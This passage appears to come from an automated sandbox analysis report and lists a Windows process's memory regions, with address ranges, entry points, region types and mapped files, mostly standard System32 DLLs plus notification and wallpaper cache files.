"\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 7114 start_va = 0x7ffe56100000 end_va = 0x7ffe5616ffff monitored = 0 entry_point = 0x7ffe56122960 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 7115 start_va = 0x7ffe56230000 end_va = 0x7ffe56257fff monitored = 0 entry_point = 0x7ffe56238c10 region_type = mapped_file name = "idstore.dll" filename = "\\Windows\\System32\\IDStore.dll" (normalized: "c:\\windows\\system32\\idstore.dll") Region: id = 7116 start_va = 0x7ffe57560000 end_va = 0x7ffe575f1fff monitored = 0 entry_point = 0x7ffe575aa780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 7117 start_va = 0x7ffe57db0000 end_va = 0x7ffe57f6cfff monitored = 0 entry_point = 0x7ffe57ddaf90 region_type = mapped_file name = "windows.ui.immersive.dll" filename = "\\Windows\\System32\\Windows.UI.Immersive.dll" (normalized: "c:\\windows\\system32\\windows.ui.immersive.dll") Region: id = 7118 start_va = 0x7ffe58300000 end_va = 0x7ffe58435fff monitored = 0 entry_point = 0x7ffe5832f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 7119 start_va = 0x7ffe59530000 end_va = 0x7ffe5963dfff monitored = 0 entry_point = 0x7ffe5957eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 7120 start_va = 0x7ffe5a250000 end_va = 0x7ffe5a400fff monitored = 0 entry_point = 0x7ffe5a2e61a0 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 7121 start_va = 0x7ffe5a410000 end_va = 0x7ffe5a4b1fff monitored = 0 entry_point = 0x7ffe5a430a40 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 7122 start_va = 0x7ffe5a4c0000 end_va = 0x7ffe5a767fff monitored = 0 entry_point = 0x7ffe5a553250 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 7123 start_va = 0x7ffe5a770000 end_va = 0x7ffe5a791fff monitored = 0 entry_point = 0x7ffe5a771a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 7124 start_va = 0x7ffe5a970000 end_va = 0x7ffe5aa52fff monitored = 0 entry_point = 0x7ffe5a9a7da0 region_type = mapped_file name = "dcomp.dll" filename = "\\Windows\\System32\\dcomp.dll" (normalized: "c:\\windows\\system32\\dcomp.dll") Region: id = 7125 start_va = 0x7ffe5ad60000 end_va = 0x7ffe5add8fff monitored = 0 entry_point = 0x7ffe5ad7fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 7126 start_va = 0x7ffe5af90000 end_va = 0x7ffe5b422fff monitored = 0 entry_point = 0x7ffe5af9f760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 7127 start_va = 0x7ffe5b430000 end_va = 0x7ffe5b496fff monitored = 0 entry_point = 0x7ffe5b44e710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 7128 start_va = 0x7ffe5b4f0000 end_va = 0x7ffe5b675fff monitored = 0 entry_point = 0x7ffe5b53d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 7129 start_va = 0x7ffe5b680000 end_va = 0x7ffe5b69bfff monitored = 0 entry_point = 0x7ffe5b6837a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 7130 start_va = 0x7ffe5b6e0000 end_va = 0x7ffe5b6f2fff monitored = 0 entry_point = 0x7ffe5b6e2760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 7131 start_va = 0x7ffe5b700000 end_va = 0x7ffe5b724fff monitored = 0 entry_point = 0x7ffe5b702300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 7132 start_va = 0x7ffe5b760000 end_va = 0x7ffe5b784fff monitored = 0 entry_point = 0x7ffe5b775220 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 7133 start_va = 0x7ffe5b870000 end_va = 0x7ffe5b905fff monitored = 0 entry_point = 0x7ffe5b895570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 7134 start_va = 0x7ffe5b930000 end_va = 0x7ffe5b956fff monitored = 0 entry_point = 0x7ffe5b937940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 7135 start_va = 0x7ffe5ba10000 end_va = 0x7ffe5bb0ffff monitored = 0 entry_point = 0x7ffe5ba50f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 7136 start_va = 0x7ffe5c260000 end_va = 0x7ffe5c2b5fff monitored = 0 entry_point = 0x7ffe5c270bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 7137 start_va = 0x7ffe5c6b0000 end_va = 0x7ffe5c6cefff monitored = 0 entry_point = 0x7ffe5c6b5d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 7138 start_va = 0x7ffe5c8d0000 end_va = 0x7ffe5c8e6fff monitored = 0 entry_point = 0x7ffe5c8d79d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 7139 start_va = 0x7ffe5cbd0000 end_va = 0x7ffe5cbfcfff monitored = 0 entry_point = 0x7ffe5cbe9d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 7140 start_va = 0x7ffe5cd80000 end_va = 0x7ffe5cda8fff monitored = 0 entry_point = 0x7ffe5cd94530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7141 start_va = 0x7ffe5cef0000 end_va = 0x7ffe5cefffff monitored = 0 entry_point = 0x7ffe5cef56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 7142 start_va = 0x7ffe5cf00000 end_va = 0x7ffe5cf0efff monitored = 0 entry_point = 0x7ffe5cf03210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 7143 start_va = 0x7ffe5cf10000 end_va = 0x7ffe5cf23fff monitored = 0 entry_point = 0x7ffe5cf152e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 7144 start_va = 0x7ffe5cf30000 end_va = 0x7ffe5cf7afff monitored = 0 entry_point = 0x7ffe5cf335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 7145 start_va = 0x7ffe5d0e0000 end_va = 0x7ffe5d723fff monitored = 0 entry_point = 0x7ffe5d2a64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 7146 start_va = 0x7ffe5d730000 end_va = 0x7ffe5d917fff monitored = 0 entry_point = 0x7ffe5d75ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7147 start_va = 0x7ffe5d920000 end_va = 0x7ffe5dae6fff monitored = 0 entry_point = 0x7ffe5d97db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 7148 start_va = 0x7ffe5daf0000 end_va = 0x7ffe5db44fff monitored = 0 entry_point = 0x7ffe5db07970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 7149 start_va = 0x7ffe5db50000 end_va = 0x7ffe5dbb9fff monitored = 0 entry_point = 0x7ffe5db86d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 7150 start_va = 0x7ffe5dbc0000 end_va = 0x7ffe5dc74fff monitored = 0 entry_point = 0x7ffe5dc022e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 7151 start_va = 0x7ffe5dc80000 end_va = 0x7ffe5dcc2fff monitored = 0 entry_point = 0x7ffe5dc94b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 7152 start_va = 0x7ffe5dcf0000 end_va = 0x7ffe5ddb0fff monitored = 0 entry_point = 0x7ffe5dd10da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 7153 start_va = 0x7ffe5ddc0000 end_va = 0x7ffe5de5cfff monitored = 0 entry_point = 0x7ffe5ddc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7154 start_va = 0x7ffe5de60000 end_va = 0x7ffe5df7bfff monitored = 0 entry_point = 0x7ffe5dea02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7155 start_va = 0x7ffe5e0b0000 end_va = 0x7ffe5e0eafff monitored = 0 entry_point = 0x7ffe5e0b12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7156 start_va = 0x7ffe5e0f0000 end_va = 0x7ffe5f64efff monitored = 0 entry_point = 0x7ffe5e2511f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 7157 start_va = 0x7ffe5f650000 end_va = 0x7ffe5f6f6fff monitored = 0 entry_point = 0x7ffe5f6658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7158 start_va = 0x7ffe5f700000 end_va = 0x7ffe5f751fff monitored = 0 entry_point = 0x7ffe5f70f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7159 start_va = 0x7ffe5f760000 end_va = 0x7ffe5f806fff monitored = 0 entry_point = 0x7ffe5f76b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 7160 start_va = 0x7ffe5f810000 end_va = 0x7ffe5fa8cfff monitored = 0 entry_point = 0x7ffe5f8e4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 7161 start_va = 0x7ffe5fa90000 end_va = 0x7ffe5fbe9fff monitored = 0 entry_point = 0x7ffe5fad38e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7162 start_va = 0x7ffe60240000 end_va = 0x7ffe602ecfff monitored = 0 entry_point = 0x7ffe602581a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7163 start_va = 0x7ffe602f0000 end_va = 0x7ffe60445fff monitored = 0 entry_point = 0x7ffe602fa8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7164 start_va = 0x7ffe604b0000 end_va = 0x7ffe60635fff monitored = 0 entry_point = 0x7ffe604fffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7165 start_va = 0x7ffe606b0000 end_va = 0x7ffe607f2fff monitored = 0 entry_point = 0x7ffe606d8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 7166 start_va = 0x7ffe60800000 end_va = 0x7ffe6086efff monitored = 0 entry_point = 0x7ffe60825f70 region_type = mapped_file name = "coml2.dll" filename = "\\Windows\\System32\\coml2.dll" (normalized: "c:\\windows\\system32\\coml2.dll") Region: id = 7167 start_va = 0x7ffe60870000 end_va = 0x7ffe608cafff monitored = 0 entry_point = 0x7ffe608838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7168 start_va = 0x7ffe608d0000 end_va = 0x7ffe60a90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7215 start_va = 0x4000000 end_va = 0x407ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 7222 start_va = 0x4080000 end_va = 0x40fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004080000" filename = "" Region: id = 7223 start_va = 0x7ffe54be0000 end_va = 0x7ffe54e3cfff monitored = 0 entry_point = 0x7ffe54c68610 region_type = mapped_file name = "twinui.appcore.dll" filename = "\\Windows\\System32\\twinui.appcore.dll" (normalized: "c:\\windows\\system32\\twinui.appcore.dll") Region: id = 7224 start_va = 0x7ffe5a8b0000 end_va = 0x7ffe5a96dfff monitored = 0 entry_point = 0x7ffe5a8f2d40 region_type = mapped_file name = "coremessaging.dll" filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll") Region: id = 7225 start_va = 0x7ffe55390000 end_va = 0x7ffe55617fff monitored = 0 entry_point = 0x7ffe553ef670 region_type = mapped_file name = "coreuicomponents.dll" filename = "\\Windows\\System32\\CoreUIComponents.dll" (normalized: "c:\\windows\\system32\\coreuicomponents.dll") Region: id = 7226 start_va = 0x7ffe53180000 end_va = 0x7ffe5329ffff monitored = 0 entry_point = 0x7ffe531b8310 region_type = mapped_file name = "applicationframe.dll" filename = "\\Windows\\System32\\ApplicationFrame.dll" (normalized: "c:\\windows\\system32\\applicationframe.dll") Region: id = 7227 start_va = 0x7ffe599b0000 end_va = 0x7ffe59ef4fff monitored = 0 entry_point = 0x7ffe59b4a450 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 7228 start_va = 0x4100000 end_va = 0x417ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 7229 start_va = 0x4180000 end_va = 0x497ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004180000" filename = "" Region: id = 7237 start_va = 0x4980000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004980000" filename = "" Region: id = 7238 start_va = 0x7ffe530a0000 end_va = 0x7ffe53179fff monitored = 0 entry_point = 0x7ffe530d3c00 region_type = mapped_file name = "wpncore.dll" filename = "\\Windows\\System32\\wpncore.dll" (normalized: "c:\\windows\\system32\\wpncore.dll") Region: id = 7239 start_va = 0x7ffe56e30000 end_va = 0x7ffe56ef7fff monitored = 0 entry_point = 0x7ffe56e713f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 7240 start_va = 0x7ffe53010000 end_va = 0x7ffe53095fff monitored = 0 entry_point = 0x7ffe53031e10 region_type = mapped_file name = "notificationcontroller.dll" filename = "\\Windows\\System32\\NotificationController.dll" (normalized: "c:\\windows\\system32\\notificationcontroller.dll") Region: id = 7241 start_va = 0x7ffe550e0000 end_va = 0x7ffe5512afff monitored = 0 entry_point = 0x7ffe550f7b70 region_type = mapped_file name = "veeventdispatcher.dll" filename = "\\Windows\\System32\\VEEventDispatcher.dll" (normalized: "c:\\windows\\system32\\veeventdispatcher.dll") Region: id = 7242 start_va = 0x7ffe56010000 end_va = 0x7ffe56050fff monitored = 0 entry_point = 0x7ffe56014840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 7243 start_va = 0x3e80000 end_va = 0x3ec8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e80000" filename = "" Region: id = 7244 start_va = 0x4a00000 end_va = 0x4afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 7245 start_va = 0x4b00000 end_va = 0x6e81fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "appdb.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\notifications\\appdb.dat") Region: id = 7247 start_va = 0x7ffe52fe0000 end_va = 0x7ffe5300afff monitored = 0 entry_point = 0x7ffe52fe4240 region_type = mapped_file name = "abovelockapphost.dll" filename = "\\Windows\\System32\\AboveLockAppHost.dll" (normalized: "c:\\windows\\system32\\abovelockapphost.dll") Region: id = 7248 start_va = 0x6e90000 end_va = 0x6f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006e90000" filename = "" Region: id = 7249 start_va = 0x7ffe52fb0000 end_va = 0x7ffe52fd5fff monitored = 0 entry_point = 0x7ffe52fc5cb0 region_type = mapped_file name = "npsm.dll" filename = "\\Windows\\System32\\NPSM.dll" (normalized: "c:\\windows\\system32\\npsm.dll") Region: id = 7250 start_va = 0x6f10000 end_va = 0x6f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006f10000" filename = "" Region: id = 7251 start_va = 0x6f90000 end_va = 0x700ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006f90000" filename = "" Region: id = 7252 start_va = 0x3b50000 end_va = 0x3b5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003b50000" filename = "" Region: id = 7253 start_va = 0x3b50000 end_va = 0x3b5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003b50000" filename = "" Region: id = 7254 start_va = 0x3b50000 end_va = 0x3b5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003b50000" filename = "" Region: id = 7255 start_va = 0x3b50000 end_va = 0x3b5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003b50000" filename = "" Region: id = 7256 start_va = 0x7010000 end_va = 0x708ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007010000" filename = "" Region: id = 7268 start_va = 0x7090000 end_va = 0x710ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007090000" filename = "" Region: id = 7269 start_va = 0x7ffe54a30000 end_va = 0x7ffe54a44fff monitored = 0 entry_point = 0x7ffe54a31ab0 region_type = mapped_file name = "execmodelproxy.dll" filename = "\\Windows\\System32\\execmodelproxy.dll" (normalized: "c:\\windows\\system32\\execmodelproxy.dll") Region: id = 7270 start_va = 0x7110000 end_va = 0x718ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007110000" filename = "" Region: id = 7271 start_va = 0x7190000 end_va = 0x720ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007190000" filename = "" Region: id = 7272 start_va = 0x7210000 end_va = 0x728ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007210000" filename = "" Region: id = 7273 start_va = 0x7ffe52f20000 end_va = 0x7ffe52f2bfff monitored = 0 entry_point = 0x7ffe52f214b0 region_type = mapped_file name = "notificationcontrollerps.dll" filename = "\\Windows\\System32\\NotificationControllerPS.dll" (normalized: "c:\\windows\\system32\\notificationcontrollerps.dll") Region: id = 7274 start_va = 0x7290000 end_va = 0x730ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007290000" filename = "" Region: id = 7276 start_va = 0x3ed0000 end_va = 0x3ef3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ed0000" filename = "" Region: id = 7277 start_va = 0x3b50000 end_va = 0x3b58fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b50000" filename = "" Region: id = 7278 start_va = 0x7310000 end_va = 0x7333fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007310000" filename = "" Region: id = 7279 start_va = 0x7340000 end_va = 0x7348fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007340000" filename = "" Region: id = 7280 start_va = 0x7350000 end_va = 0x7350fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007350000" filename = "" Region: id = 7281 start_va = 0x7360000 end_va = 0x745ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007360000" filename = "" Region: id = 7282 start_va = 0x7460000 end_va = 0x76d9fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "transcodedwallpaper" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper") Region: id = 7283 start_va = 0x7460000 end_va = 0x7951fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007460000" filename = "" Region: id = 7291 start_va = 0x7960000 end_va = 0x7b75fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cachedimage_1440_900_pos4.jpg" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg") Region: id = 7292 start_va = 0x7960000 end_va = 0x7b76fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007960000" filename = "" Region: id = 7293 start_va = 0x7960000 end_va = 0x7bd9fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "transcodedwallpaper" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper") Region: id = 7294 start_va = 0x7be0000 end_va = 0x7c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007be0000" filename = "" Region: id = 7295 start_va = 0x7c60000 end_va = 0x7ee3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c60000" filename = "" Region: id = 7296 start_va = 0x7ef0000 end_va = 0x83e2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007ef0000" filename = "" Region: id = 7297 start_va = 0x83f0000 end_va = 0x88e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000083f0000" filename = "" Region: id = 7298 start_va = 0x7ffe52e20000 end_va = 0x7ffe52efafff monitored = 0 entry_point = 0x7ffe52e328b0 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 7299 start_va = 0x7ffe52df0000 end_va = 0x7ffe52e15fff monitored = 0 entry_point = 0x7ffe52df1cf0 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 7300 start_va = 0x3b60000 end_va = 0x3b63fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 7301 start_va = 0x7ffe5c440000 end_va = 0x7ffe5c470fff monitored = 0 entry_point = 0x7ffe5c447d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 7302 start_va = 0x3b70000 end_va = 0x3b77fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windows.storage.dll.mui" filename = "\\Windows\\System32\\en-US\\windows.storage.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\windows.storage.dll.mui") Region: id = 7303 start_va = 0x7f70000 end_va = 0x7feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007f70000" filename = "" Region: id = 7304 start_va = 0x7ffe52cb0000 end_va = 0x7ffe52d46fff monitored = 0 entry_point = 0x7ffe52cbddc0 region_type = mapped_file name = "wlidprov.dll" filename = "\\Windows\\System32\\wlidprov.dll" (normalized: "c:\\windows\\system32\\wlidprov.dll") Region: id = 7305 start_va = 0x7ff0000 end_va = 0x806ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007ff0000" filename = "" Region: id = 7306 start_va = 0x7ffe55ae0000 end_va = 0x7ffe55b8dfff monitored = 0 entry_point = 0x7ffe55af80c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 7307 start_va = 0x8070000 end_va = 0x80effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008070000" filename = "" Region: id = 7308 start_va = 0x7ffe52c50000 end_va = 0x7ffe52cabfff monitored = 0 entry_point = 0x7ffe52c67190 region_type = mapped_file name = "ninput.dll" filename = "\\Windows\\System32\\ninput.dll" (normalized: "c:\\windows\\system32\\ninput.dll") Region: id = 7311 start_va = 0x3b80000 end_va = 0x3b80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b80000" filename = "" Region: id = 7312 start_va = 0x3b90000 end_va = 0x3bb3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b90000" filename = "" Region: id = 7313 start_va = 0x7960000 end_va = 0x7983fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007960000" filename = "" Region: id = 7314 start_va = 0x80f0000 end_va = 0x816ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000080f0000" filename = "" Region: id = 7315 start_va = 0x8170000 end_va = 0x81effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008170000" filename = "" Region: id = 7316 start_va = 0x81f0000 end_va = 0x826ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000081f0000" filename = "" Region: id = 7317 start_va = 0x8270000 end_va = 0x82effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008270000" filename = "" Region: id = 7318 start_va = 0x82f0000 end_va = 0x836ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082f0000" filename = "" Region: id = 7319 start_va = 0x8370000 end_va = 0x83effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008370000" filename = "" Region: id = 7320 start_va = 0x88f0000 end_va = 0x896ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000088f0000" filename = "" Region: id = 7321 start_va = 0x8970000 end_va = 0x89effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008970000" filename = "" Region: id = 7322 start_va = 0x89f0000 end_va = 